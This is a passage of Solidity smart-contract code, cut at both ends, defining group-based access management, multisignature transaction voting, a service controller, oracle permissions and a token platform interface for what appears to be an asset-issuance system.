return AssetProxy(proxy).__transferFromWithReference(_from, _to, _value, _reference, _sender);
}
function _approve(address _spender, uint _value, address _sender) internal returns (bool) {
return AssetProxy(proxy).__approve(_spender, _value, _sender);
}
}
contract ServiceAllowance {
function isTransferAllowed(address _from, address _to, address _sender, address _token, uint _value) public view returns (bool);
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Object is Owned {
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract GroupsAccessManagerEmitter {
event UserCreated(address user);
event UserDeleted(address user);
event GroupCreated(bytes32 groupName);
event GroupActivated(bytes32 groupName);
event GroupDeactivated(bytes32 groupName);
event UserToGroupAdded(address user, bytes32 groupName);
event UserFromGroupRemoved(address user, bytes32 groupName);
}
contract GroupsAccessManager is Object, GroupsAccessManagerEmitter {
uint constant USER_MANAGER_SCOPE = 111000;
uint constant USER_MANAGER_MEMBER_ALREADY_EXIST = USER_MANAGER_SCOPE + 1;
uint constant USER_MANAGER_GROUP_ALREADY_EXIST = USER_MANAGER_SCOPE + 2;
uint constant USER_MANAGER_OBJECT_ALREADY_SECURED = USER_MANAGER_SCOPE + 3;
uint constant USER_MANAGER_CONFIRMATION_HAS_COMPLETED = USER_MANAGER_SCOPE + 4;
uint constant USER_MANAGER_USER_HAS_CONFIRMED = USER_MANAGER_SCOPE + 5;
uint constant USER_MANAGER_NOT_ENOUGH_GAS = USER_MANAGER_SCOPE + 6;
uint constant USER_MANAGER_INVALID_INVOCATION = USER_MANAGER_SCOPE + 7;
uint constant USER_MANAGER_DONE = USER_MANAGER_SCOPE + 11;
uint constant USER_MANAGER_CANCELLED = USER_MANAGER_SCOPE + 12;
using SafeMath for uint;
struct Member {
address addr;
uint groupsCount;
mapping(bytes32 => uint) groupName2index;
mapping(uint => uint) index2globalIndex;
}
struct Group {
bytes32 name;
uint priority;
uint membersCount;
mapping(address => uint) memberAddress2index;
mapping(uint => uint) index2globalIndex;
}
uint public membersCount;
mapping(uint => address) index2memberAddress;
mapping(address => uint) memberAddress2index;
mapping(address => Member) address2member;
uint public groupsCount;
mapping(uint => bytes32) index2groupName;
mapping(bytes32 => uint) groupName2index;
mapping(bytes32 => Group) groupName2group;
mapping(bytes32 => bool) public groupsBlocked;
function() payable public {
revert();
}
function registerUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
if (isRegisteredUser(_user)) {
return USER_MANAGER_MEMBER_ALREADY_EXIST;
}
uint _membersCount = membersCount.add(1);
membersCount = _membersCount;
memberAddress2index[_user] = _membersCount;
index2memberAddress[_membersCount] = _user;
address2member[_user] = Member(_user, 0);
UserCreated(_user);
return OK;
}
function unregisterUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
uint _memberIndex = memberAddress2index[_user];
if (_memberIndex == 0 || address2member[_user].groupsCount != 0) {
return USER_MANAGER_INVALID_INVOCATION;
}
uint _membersCount = membersCount;
delete memberAddress2index[_user];
if (_memberIndex != _membersCount) {
address _lastUser = index2memberAddress[_membersCount];
index2memberAddress[_memberIndex] = _lastUser;
memberAddress2index[_lastUser] = _memberIndex;
}
delete address2member[_user];
delete index2memberAddress[_membersCount];
delete memberAddress2index[_user];
membersCount = _membersCount.sub(1);
UserDeleted(_user);
return OK;
}
function createGroup(bytes32 _groupName, uint _priority) external onlyContractOwner returns (uint) {
require(_groupName != bytes32(0));
if (isGroupExists(_groupName)) {
return USER_MANAGER_GROUP_ALREADY_EXIST;
}
uint _groupsCount = groupsCount.add(1);
groupName2index[_groupName] = _groupsCount;
index2groupName[_groupsCount] = _groupName;
groupName2group[_groupName] = Group(_groupName, _priority, 0);
groupsCount = _groupsCount;
GroupCreated(_groupName);
return OK;
}
function changeGroupActiveStatus(bytes32 _groupName, bool _blocked) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
groupsBlocked[_groupName] = _blocked;
return OK;
}
function addUsersToGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
require(_memberIndex != 0);
if (_group.memberAddress2index[_user] != 0) {
continue;
}
_groupMembersCount = _groupMembersCount.add(1);
_group.memberAddress2index[_user] = _groupMembersCount;
_group.index2globalIndex[_groupMembersCount] = _memberIndex;
_addGroupToMember(_user, _groupName);
UserToGroupAdded(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
function removeUsersFromGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
uint _groupMemberIndex = _group.memberAddress2index[_user];
if (_memberIndex == 0 || _groupMemberIndex == 0) {
continue;
}
if (_groupMemberIndex != _groupMembersCount) {
uint _lastUserGlobalIndex = _group.index2globalIndex[_groupMembersCount];
address _lastUser = index2memberAddress[_lastUserGlobalIndex];
_group.index2globalIndex[_groupMemberIndex] = _lastUserGlobalIndex;
_group.memberAddress2index[_lastUser] = _groupMemberIndex;
}
delete _group.memberAddress2index[_user];
delete _group.index2globalIndex[_groupMembersCount];
_groupMembersCount = _groupMembersCount.sub(1);
_removeGroupFromMember(_user, _groupName);
UserFromGroupRemoved(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
function isRegisteredUser(address _user) public view returns (bool) {
return memberAddress2index[_user] != 0;
}
function isUserInGroup(bytes32 _groupName, address _user) public view returns (bool) {
return isRegisteredUser(_user) && address2member[_user].groupName2index[_groupName] != 0;
}
function isGroupExists(bytes32 _groupName) public view returns (bool) {
return groupName2index[_groupName] != 0;
}
function getGroups() public view returns (bytes32[] _groups) {
uint _groupsCount = groupsCount;
_groups = new bytes32[](_groupsCount);
for (uint _groupIdx = 0; _groupIdx < _groupsCount; ++_groupIdx) {
_groups[_groupIdx] = index2groupName[_groupIdx + 1];
}
}
function _removeGroupFromMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount;
uint _memberGroupIndex = _member.groupName2index[_groupName];
if (_memberGroupIndex != _memberGroupsCount) {
uint _lastGroupGlobalIndex = _member.index2globalIndex[_memberGroupsCount];
bytes32 _lastGroupName = index2groupName[_lastGroupGlobalIndex];
_member.index2globalIndex[_memberGroupIndex] = _lastGroupGlobalIndex;
_member.groupName2index[_lastGroupName] = _memberGroupIndex;
}
delete _member.groupName2index[_groupName];
delete _member.index2globalIndex[_memberGroupsCount];
_member.groupsCount = _memberGroupsCount.sub(1);
}
function _addGroupToMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount.add(1);
_member.groupName2index[_groupName] = _memberGroupsCount;
_member.index2globalIndex[_memberGroupsCount] = groupName2index[_groupName];
_member.groupsCount = _memberGroupsCount;
}
}
contract PendingManagerEmitter {
event PolicyRuleAdded(bytes4 sig, address contractAddress, bytes32 key, bytes32 groupName, uint acceptLimit, uint declinesLimit);
event PolicyRuleRemoved(bytes4 sig, address contractAddress, bytes32 key, bytes32 groupName);
event ProtectionTxAdded(bytes32 key, bytes32 sig, uint blockNumber);
event ProtectionTxAccepted(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event ProtectionTxDone(bytes32 key);
event ProtectionTxDeclined(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event ProtectionTxCancelled(bytes32 key);
event ProtectionTxVoteRevoked(bytes32 key, address indexed sender, bytes32 groupNameVoted);
event TxDeleted(bytes32 key);
event Error(uint errorCode);
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
contract PendingManagerInterface {
function signIn(address _contract) external returns (uint);
function signOut(address _contract) external returns (uint);
function addPolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName,
uint _acceptLimit,
uint _declineLimit
)
external returns (uint);
function removePolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName
)
external returns (uint);
function addTx(bytes32 _key, bytes4 _sig, address _contract) external returns (uint);
function deleteTx(bytes32 _key) external returns (uint);
function accept(bytes32 _key, bytes32 _votingGroupName) external returns (uint);
function decline(bytes32 _key, bytes32 _votingGroupName) external returns (uint);
function revoke(bytes32 _key) external returns (uint);
function hasConfirmedRecord(bytes32 _key) public view returns (uint);
function getPolicyDetails(bytes4 _sig, address _contract) public view returns (
bytes32[] _groupNames,
uint[] _acceptLimits,
uint[] _declineLimits,
uint _totalAcceptedLimit,
uint _totalDeclinedLimit
);
}
contract PendingManager is Object, PendingManagerEmitter, PendingManagerInterface {
uint constant NO_RECORDS_WERE_FOUND = 4;
uint constant PENDING_MANAGER_SCOPE = 4000;
uint constant PENDING_MANAGER_INVALID_INVOCATION = PENDING_MANAGER_SCOPE + 1;
uint constant PENDING_MANAGER_HASNT_VOTED = PENDING_MANAGER_SCOPE + 2;
uint constant PENDING_DUPLICATE_TX = PENDING_MANAGER_SCOPE + 3;
uint constant PENDING_MANAGER_CONFIRMED = PENDING_MANAGER_SCOPE + 4;
uint constant PENDING_MANAGER_REJECTED = PENDING_MANAGER_SCOPE + 5;
uint constant PENDING_MANAGER_IN_PROCESS = PENDING_MANAGER_SCOPE + 6;
uint constant PENDING_MANAGER_TX_DOESNT_EXIST = PENDING_MANAGER_SCOPE + 7;
uint constant PENDING_MANAGER_TX_WAS_DECLINED = PENDING_MANAGER_SCOPE + 8;
uint constant PENDING_MANAGER_TX_WAS_NOT_CONFIRMED = PENDING_MANAGER_SCOPE + 9;
uint constant PENDING_MANAGER_INSUFFICIENT_GAS = PENDING_MANAGER_SCOPE + 10;
uint constant PENDING_MANAGER_POLICY_NOT_FOUND = PENDING_MANAGER_SCOPE + 11;
using SafeMath for uint;
enum GuardState {
Decline, Confirmed, InProcess
}
struct Requirements {
bytes32 groupName;
uint acceptLimit;
uint declineLimit;
}
struct Policy {
uint groupsCount;
mapping(uint => Requirements) participatedGroups;
mapping(bytes32 => uint) groupName2index;
uint totalAcceptedLimit;
uint totalDeclinedLimit;
uint securesCount;
mapping(uint => uint) index2txIndex;
mapping(uint => uint) txIndex2index;
}
struct Vote {
bytes32 groupName;
bool accepted;
}
struct Guard {
GuardState state;
uint basePolicyIndex;
uint alreadyAccepted;
uint alreadyDeclined;
mapping(address => Vote) votes;
mapping(bytes32 => uint) acceptedCount;
mapping(bytes32 => uint) declinedCount;
}
address public accessManager;
mapping(address => bool) public authorized;
uint public policiesCount;
mapping(uint => bytes32) index2PolicyId;
mapping(bytes32 => uint) policyId2Index;
mapping(bytes32 => Policy) policyId2policy;
uint public txCount;
mapping(uint => bytes32) index2txKey;
mapping(bytes32 => uint) txKey2index;
mapping(bytes32 => Guard) txKey2guard;
modifier onlyAuthorized {
if (authorized[msg.sender] || address(this) == msg.sender) {
_;
}
}
function PendingManager(address _accessManager) public {
require(_accessManager != 0x0);
accessManager = _accessManager;
}
function() payable public {
revert();
}
function setAccessManager(address _accessManager) external onlyContractOwner returns (uint) {
require(_accessManager != 0x0);
accessManager = _accessManager;
return OK;
}
function signIn(address _contract) external onlyContractOwner returns (uint) {
require(_contract != 0x0);
authorized[_contract] = true;
return OK;
}
function signOut(address _contract) external onlyContractOwner returns (uint) {
require(_contract != 0x0);
delete authorized[_contract];
return OK;
}
function addPolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName,
uint _acceptLimit,
uint _declineLimit
)
onlyContractOwner
external
returns (uint)
{
require(_sig != 0x0);
require(_contract != 0x0);
require(GroupsAccessManager(accessManager).isGroupExists(_groupName));
require(_acceptLimit != 0);
require(_declineLimit != 0);
bytes32 _policyHash = keccak256(_sig, _contract);
if (policyId2Index[_policyHash] == 0) {
uint _policiesCount = policiesCount.add(1);
index2PolicyId[_policiesCount] = _policyHash;
policyId2Index[_policyHash] = _policiesCount;
policiesCount = _policiesCount;
}
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupsCount = _policy.groupsCount;
if (_policy.groupName2index[_groupName] == 0) {
_policyGroupsCount += 1;
_policy.groupName2index[_groupName] = _policyGroupsCount;
_policy.participatedGroups[_policyGroupsCount].groupName = _groupName;
_policy.groupsCount = _policyGroupsCount;
}
uint _previousAcceptLimit = _policy.participatedGroups[_policyGroupsCount].acceptLimit;
uint _previousDeclineLimit = _policy.participatedGroups[_policyGroupsCount].declineLimit;
_policy.participatedGroups[_policyGroupsCount].acceptLimit = _acceptLimit;
_policy.participatedGroups[_policyGroupsCount].declineLimit = _declineLimit;
_policy.totalAcceptedLimit = _policy.totalAcceptedLimit.sub(_previousAcceptLimit).add(_acceptLimit);
_policy.totalDeclinedLimit = _policy.totalDeclinedLimit.sub(_previousDeclineLimit).add(_declineLimit);
PolicyRuleAdded(_sig, _contract, _policyHash, _groupName, _acceptLimit, _declineLimit);
return OK;
}
function removePolicyRule(
bytes4 _sig,
address _contract,
bytes32 _groupName
)
onlyContractOwner
external
returns (uint)
{
require(_sig != bytes4(0));
require(_contract != 0x0);
require(GroupsAccessManager(accessManager).isGroupExists(_groupName));
bytes32 _policyHash = keccak256(_sig, _contract);
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupNameIndex = _policy.groupName2index[_groupName];
if (_policyGroupNameIndex == 0) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
uint _policyGroupsCount = _policy.groupsCount;
if (_policyGroupNameIndex != _policyGroupsCount) {
Requirements storage _requirements = _policy.participatedGroups[_policyGroupsCount];
_policy.participatedGroups[_policyGroupNameIndex] = _requirements;
_policy.groupName2index[_requirements.groupName] = _policyGroupNameIndex;
}
_policy.totalAcceptedLimit = _policy.totalAcceptedLimit.sub(_policy.participatedGroups[_policyGroupsCount].acceptLimit);
_policy.totalDeclinedLimit = _policy.totalDeclinedLimit.sub(_policy.participatedGroups[_policyGroupsCount].declineLimit);
delete _policy.groupName2index[_groupName];
delete _policy.participatedGroups[_policyGroupsCount];
_policy.groupsCount = _policyGroupsCount.sub(1);
PolicyRuleRemoved(_sig, _contract, _policyHash, _groupName);
return OK;
}
function addTx(bytes32 _key, bytes4 _sig, address _contract) external onlyAuthorized returns (uint) {
require(_key != bytes32(0));
require(_sig != bytes4(0));
require(_contract != 0x0);
bytes32 _policyHash = keccak256(_sig, _contract);
require(isPolicyExist(_policyHash));
if (isTxExist(_key)) {
return _emitError(PENDING_DUPLICATE_TX);
}
if (_policyHash == bytes32(0)) {
return _emitError(PENDING_MANAGER_POLICY_NOT_FOUND);
}
uint _index = txCount.add(1);
txCount = _index;
index2txKey[_index] = _key;
txKey2index[_key] = _index;
Guard storage _guard = txKey2guard[_key];
_guard.basePolicyIndex = policyId2Index[_policyHash];
_guard.state = GuardState.InProcess;
Policy storage _policy = policyId2policy[_policyHash];
uint _counter = _policy.securesCount.add(1);
_policy.securesCount = _counter;
_policy.index2txIndex[_counter] = _index;
_policy.txIndex2index[_index] = _counter;
ProtectionTxAdded(_key, _policyHash, block.number);
return OK;
}
function deleteTx(bytes32 _key) external onlyContractOwner returns (uint) {
require(_key != bytes32(0));
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
uint _txsCount = txCount;
uint _txIndex = txKey2index[_key];
if (_txIndex != _txsCount) {
bytes32 _last = index2txKey[txCount];
index2txKey[_txIndex] = _last;
txKey2index[_last] = _txIndex;
}
delete txKey2index[_key];
delete index2txKey[_txsCount];
txCount = _txsCount.sub(1);
uint _basePolicyIndex = txKey2guard[_key].basePolicyIndex;
Policy storage _policy = policyId2policy[index2PolicyId[_basePolicyIndex]];
uint _counter = _policy.securesCount;
uint _policyTxIndex = _policy.txIndex2index[_txIndex];
if (_policyTxIndex != _counter) {
uint _movedTxIndex = _policy.index2txIndex[_counter];
_policy.index2txIndex[_policyTxIndex] = _movedTxIndex;
_policy.txIndex2index[_movedTxIndex] = _policyTxIndex;
}
delete _policy.index2txIndex[_counter];
delete _policy.txIndex2index[_txIndex];
_policy.securesCount = _counter.sub(1);
TxDeleted(_key);
return OK;
}
function accept(bytes32 _key, bytes32 _votingGroupName) external returns (uint) {
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
if (!GroupsAccessManager(accessManager).isUserInGroup(_votingGroupName, msg.sender)) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
if (_guard.votes[msg.sender].groupName != bytes32(0) && _guard.votes[msg.sender].accepted) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Policy storage _policy = policyId2policy[index2PolicyId[_guard.basePolicyIndex]];
uint _policyGroupIndex = _policy.groupName2index[_votingGroupName];
uint _groupAcceptedVotesCount = _guard.acceptedCount[_votingGroupName];
if (_groupAcceptedVotesCount == _policy.participatedGroups[_policyGroupIndex].acceptLimit) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
_guard.votes[msg.sender] = Vote(_votingGroupName, true);
_guard.acceptedCount[_votingGroupName] = _groupAcceptedVotesCount + 1;
uint _alreadyAcceptedCount = _guard.alreadyAccepted + 1;
_guard.alreadyAccepted = _alreadyAcceptedCount;
ProtectionTxAccepted(_key, msg.sender, _votingGroupName);
if (_alreadyAcceptedCount == _policy.totalAcceptedLimit) {
_guard.state = GuardState.Confirmed;
ProtectionTxDone(_key);
}
return OK;
}
function decline(bytes32 _key, bytes32 _votingGroupName) external returns (uint) {
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
if (!GroupsAccessManager(accessManager).isUserInGroup(_votingGroupName, msg.sender)) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
if (_guard.votes[msg.sender].groupName != bytes32(0) && !_guard.votes[msg.sender].accepted) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
Policy storage _policy = policyId2policy[index2PolicyId[_guard.basePolicyIndex]];
uint _policyGroupIndex = _policy.groupName2index[_votingGroupName];
uint _groupDeclinedVotesCount = _guard.declinedCount[_votingGroupName];
if (_groupDeclinedVotesCount == _policy.participatedGroups[_policyGroupIndex].declineLimit) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
_guard.votes[msg.sender] = Vote(_votingGroupName, false);
_guard.declinedCount[_votingGroupName] = _groupDeclinedVotesCount + 1;
uint _alreadyDeclinedCount = _guard.alreadyDeclined + 1;
_guard.alreadyDeclined = _alreadyDeclinedCount;
ProtectionTxDeclined(_key, msg.sender, _votingGroupName);
if (_alreadyDeclinedCount == _policy.totalDeclinedLimit) {
_guard.state = GuardState.Decline;
ProtectionTxCancelled(_key);
}
return OK;
}
function forceRejectVotes(bytes32 _key, address _user) external onlyContractOwner returns (uint) {
return _revoke(_key, _user);
}
function revoke(bytes32 _key) external returns (uint) {
return _revoke(_key, msg.sender);
}
function hasConfirmedRecord(bytes32 _key) public view returns (uint) {
require(_key != bytes32(0));
if (!isTxExist(_key)) {
return NO_RECORDS_WERE_FOUND;
}
Guard storage _guard = txKey2guard[_key];
return _guard.state == GuardState.InProcess
? PENDING_MANAGER_IN_PROCESS
: _guard.state == GuardState.Confirmed
? OK
: PENDING_MANAGER_REJECTED;
}
function getPolicyDetails(bytes4 _sig, address _contract)
public
view
returns (
bytes32[] _groupNames,
uint[] _acceptLimits,
uint[] _declineLimits,
uint _totalAcceptedLimit,
uint _totalDeclinedLimit
) {
require(_sig != bytes4(0));
require(_contract != 0x0);
bytes32 _policyHash = keccak256(_sig, _contract);
uint _policyIdx = policyId2Index[_policyHash];
if (_policyIdx == 0) {
return;
}
Policy storage _policy = policyId2policy[_policyHash];
uint _policyGroupsCount = _policy.groupsCount;
_groupNames = new bytes32[](_policyGroupsCount);
_acceptLimits = new uint[](_policyGroupsCount);
_declineLimits = new uint[](_policyGroupsCount);
for (uint _idx = 0; _idx < _policyGroupsCount; ++_idx) {
Requirements storage _requirements = _policy.participatedGroups[_idx + 1];
_groupNames[_idx] = _requirements.groupName;
_acceptLimits[_idx] = _requirements.acceptLimit;
_declineLimits[_idx] = _requirements.declineLimit;
}
(_totalAcceptedLimit, _totalDeclinedLimit) = (_policy.totalAcceptedLimit, _policy.totalDeclinedLimit);
}
function isGroupInPolicy(bytes32 _policyHash, bytes32 _groupName) public view returns (bool) {
Policy storage _policy = policyId2policy[_policyHash];
return _policy.groupName2index[_groupName] != 0;
}
function isPolicyExist(bytes32 _policyHash) public view returns (bool) {
return policyId2Index[_policyHash] != 0;
}
function isTxExist(bytes32 _key) public view returns (bool){
return txKey2index[_key] != 0;
}
function _updateTxState(Policy storage _policy, Guard storage _guard, uint confirmedAmount, uint declineAmount) private {
if (declineAmount != 0 && _guard.state != GuardState.Decline) {
_guard.state = GuardState.Decline;
} else if (confirmedAmount >= _policy.groupsCount && _guard.state != GuardState.Confirmed) {
_guard.state = GuardState.Confirmed;
} else if (_guard.state != GuardState.InProcess) {
_guard.state = GuardState.InProcess;
}
}
function _revoke(bytes32 _key, address _user) private returns (uint) {
require(_key != bytes32(0));
require(_user != 0x0);
if (!isTxExist(_key)) {
return _emitError(PENDING_MANAGER_TX_DOESNT_EXIST);
}
Guard storage _guard = txKey2guard[_key];
if (_guard.state != GuardState.InProcess) {
return _emitError(PENDING_MANAGER_INVALID_INVOCATION);
}
bytes32 _votedGroupName = _guard.votes[_user].groupName;
if (_votedGroupName == bytes32(0)) {
return _emitError(PENDING_MANAGER_HASNT_VOTED);
}
bool isAcceptedVote = _guard.votes[_user].accepted;
if (isAcceptedVote) {
_guard.acceptedCount[_votedGroupName] = _guard.acceptedCount[_votedGroupName].sub(1);
_guard.alreadyAccepted = _guard.alreadyAccepted.sub(1);
} else {
_guard.declinedCount[_votedGroupName] = _guard.declinedCount[_votedGroupName].sub(1);
_guard.alreadyDeclined = _guard.alreadyDeclined.sub(1);
}
delete _guard.votes[_user];
ProtectionTxVoteRevoked(_key, _user, _votedGroupName);
return OK;
}
}
contract MultiSigAdapter is Object {
uint constant MULTISIG_ADDED = 3;
uint constant NO_RECORDS_WERE_FOUND = 4;
modifier isAuthorized {
if (msg.sender == contractOwner || msg.sender == getPendingManager()) {
_;
}
}
function getPendingManager() public view returns (address);
function _multisig(bytes32 _args, uint _block) internal returns (uint _code) {
bytes32 _txHash = _getKey(_args, _block);
address _manager = getPendingManager();
_code = PendingManager(_manager).hasConfirmedRecord(_txHash);
if (_code != NO_RECORDS_WERE_FOUND) {
return _code;
}
if (OK != PendingManager(_manager).addTx(_txHash, msg.sig, address(this))) {
revert();
}
return MULTISIG_ADDED;
}
function _isTxExistWithArgs(bytes32 _args, uint _block) internal view returns (bool) {
bytes32 _txHash = _getKey(_args, _block);
address _manager = getPendingManager();
return PendingManager(_manager).isTxExist(_txHash);
}
function _getKey(bytes32 _args, uint _block) private view returns (bytes32 _txHash) {
_block = _block != 0 ? _block : block.number;
_txHash = keccak256(msg.sig, _args, _block);
}
}
contract ServiceController is MultiSigAdapter {
uint constant SERVICE_CONTROLLER = 350000;
uint constant SERVICE_CONTROLLER_EMISSION_EXIST = SERVICE_CONTROLLER + 1;
uint constant SERVICE_CONTROLLER_BURNING_MAN_EXIST = SERVICE_CONTROLLER + 2;
uint constant SERVICE_CONTROLLER_ALREADY_INITIALIZED = SERVICE_CONTROLLER + 3;
uint constant SERVICE_CONTROLLER_SERVICE_EXIST = SERVICE_CONTROLLER + 4;
address public profiterole;
address public treasury;
address public pendingManager;
address public proxy;
mapping(address => bool) public sideServices;
mapping(address => bool) emissionProviders;
mapping(address => bool) burningMans;
function ServiceController(address _pendingManager, address _proxy, address _profiterole, address _treasury) public {
require(_pendingManager != 0x0);
require(_proxy != 0x0);
require(_profiterole != 0x0);
require(_treasury != 0x0);
pendingManager = _pendingManager;
proxy = _proxy;
profiterole = _profiterole;
treasury = _treasury;
}
function getPendingManager() public view returns (address) {
return pendingManager;
}
function addEmissionProvider(address _provider, uint _block) public returns (uint _code) {
if (emissionProviders[_provider]) {
return SERVICE_CONTROLLER_EMISSION_EXIST;
}
_code = _multisig(keccak256(_provider), _block);
if (OK != _code) {
return _code;
}
emissionProviders[_provider] = true;
return OK;
}
function removeEmissionProvider(address _provider, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_provider), _block);
if (OK != _code) {
return _code;
}
delete emissionProviders[_provider];
return OK;
}
function addBurningMan(address _burningMan, uint _block) public returns (uint _code) {
if (burningMans[_burningMan]) {
return SERVICE_CONTROLLER_BURNING_MAN_EXIST;
}
_code = _multisig(keccak256(_burningMan), _block);
if (OK != _code) {
return _code;
}
burningMans[_burningMan] = true;
return OK;
}
function removeBurningMan(address _burningMan, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_burningMan), _block);
if (OK != _code) {
return _code;
}
delete burningMans[_burningMan];
return OK;
}
function updateProfiterole(address _profiterole, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_profiterole), _block);
if (OK != _code) {
return _code;
}
profiterole = _profiterole;
return OK;
}
function updateTreasury(address _treasury, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_treasury), _block);
if (OK != _code) {
return _code;
}
treasury = _treasury;
return OK;
}
function updatePendingManager(address _pendingManager, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_pendingManager), _block);
if (OK != _code) {
return _code;
}
pendingManager = _pendingManager;
return OK;
}
function addSideService(address _service, uint _block) public returns (uint _code) {
if (sideServices[_service]) {
return SERVICE_CONTROLLER_SERVICE_EXIST;
}
_code = _multisig(keccak256(_service), _block);
if (OK != _code) {
return _code;
}
sideServices[_service] = true;
return OK;
}
function removeSideService(address _service, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_service), _block);
if (OK != _code) {
return _code;
}
delete sideServices[_service];
return OK;
}
function isService(address _address) public view returns (bool check) {
return _address == profiterole ||
_address == treasury ||
_address == proxy ||
_address == pendingManager ||
emissionProviders[_address] ||
burningMans[_address] ||
sideServices[_address];
}
}
contract OracleMethodAdapter is Object {
event OracleAdded(bytes4 _sig, address _oracle);
event OracleRemoved(bytes4 _sig, address _oracle);
mapping(bytes4 => mapping(address => bool)) public oracles;
modifier onlyOracle {
if (oracles[msg.sig][msg.sender]) {
_;
}
}
modifier onlyOracleOrOwner {
if (oracles[msg.sig][msg.sender] || msg.sender == contractOwner) {
_;
}
}
function addOracles(bytes4[] _signatures, address[] _oracles) onlyContractOwner external returns (uint) {
require(_signatures.length == _oracles.length);
bytes4 _sig;
address _oracle;
for (uint _idx = 0; _idx < _signatures.length; ++_idx) {
(_sig, _oracle) = (_signatures[_idx], _oracles[_idx]);
if (!oracles[_sig][_oracle]) {
oracles[_sig][_oracle] = true;
_emitOracleAdded(_sig, _oracle);
}
}
return OK;
}
function removeOracles(bytes4[] _signatures, address[] _oracles) onlyContractOwner external returns (uint) {
require(_signatures.length == _oracles.length);
bytes4 _sig;
address _oracle;
for (uint _idx = 0; _idx < _signatures.length; ++_idx) {
(_sig, _oracle) = (_signatures[_idx], _oracles[_idx]);
if (oracles[_sig][_oracle]) {
delete oracles[_sig][_oracle];
_emitOracleRemoved(_sig, _oracle);
}
}
return OK;
}
function _emitOracleAdded(bytes4 _sig, address _oracle) internal {
OracleAdded(_sig, _oracle);
}
function _emitOracleRemoved(bytes4 _sig, address _oracle) internal {
OracleRemoved(_sig, _oracle);
}
}
contract Platform {
mapping(bytes32 => address) public proxies;
function name(bytes32 _symbol) public view returns (string);
function setProxy(address _address, bytes32 _symbol) public returns (uint errorCode);
function isOwner(address _owner, bytes32 _symbol) public view returns (bool);
function totalSupply(bytes32 _symbol) public view returns (uint);
function balanceOf(address _holder, bytes32 _symbol) public view returns (uint);
function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint);
function baseUnit(bytes32 _symbol) public view returns (uint8);
function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public returns (uint errorCode);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) public returns (uint errorCode);
function reissueAsset(bytes32 _symbol, uint _value) public returns (uint errorCode);
function revokeAsset(bytes32 _symbol, uint _value) public returns (uint errorCode);
function isReissuable(bytes32 _symbol) public view returns (bool);
